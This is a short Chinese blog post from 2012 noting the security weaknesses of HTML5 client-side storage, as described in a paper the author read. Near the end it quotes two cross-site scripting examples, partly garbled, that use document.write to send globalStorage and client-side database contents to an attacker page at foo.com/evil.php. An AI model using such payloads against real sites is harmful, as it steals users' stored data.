Chinaunix首页 | 论坛 | 博客
  • 博客访问: 1203042
  • 博文数量: 272
  • 博客积分: 3899
  • 博客等级: 中校
  • 技术积分: 4734
  • 用 户 组: 普通用户
  • 注册时间: 2012-06-15 14:53
文章分类

全部博文(272)

文章存档

2012年(272)

分类: 网络与安全

2012-06-25 13:35:02

今天看了篇非常不错的paper,详细分析了html 5 的客户端存储在设计上的一些安全隐患。

HTML 5 在客户端存储上的内容更丰富,更强大了,比如cookie只能存4k的内容,而HTML5标准里,可以存数十M都没有问题。

在未来可能很多隐私数据都会保存在客户端,这其实也提高了风险。

在html5中的客户端存储有3个

Session Storage
Local Storage(ex Global Storage)
Database Storage


做了点小笔记。

和cookie类似,在新的html 5中使用的是 Session Storage,不过它的生效时间不再由程序员指定了。

Session Storage没有path字段,所以相对cookie能针对某个目录的设计而言,这种设计在安全上反而是削弱了。

Global Storage 比较危险,属于全局保存的数据,能跨全域,不过目前ff2 ff3和ie8都严格限制了这一点。

database storage目前还只有webkit支持,用的是sqlite。

未来FF和IE肯定也会加入对它的支持,不知道会不会也用sqlite。

如果使用了Database storage,那就还会存在客户端注射的风险。

一般情况下,需要知道字段名才能去操作,不过paper的作者提出可以用遍历的方法来获取字段名,类似遍历:
window.sessionStorage

相应的,跨站利用也会有些变化,paper中有个有例子:

例一:document.write(' %2B globalStorage[location.hostname].mykey %2B '">');

例二:db.transaction(function (tx) { tx.executeSql
("SELECT * FROM client_tb", [], function(tx, result) { document.write('foo.com/evil.php?name=' %2B result.rows.item(0)['col_data'] %2B '">'); }); });


非常期待FF和IE对Html 5更多功能的支持啊!
阅读(1579) | 评论(0) | 转发(0) |
给主人留下些什么吧!~~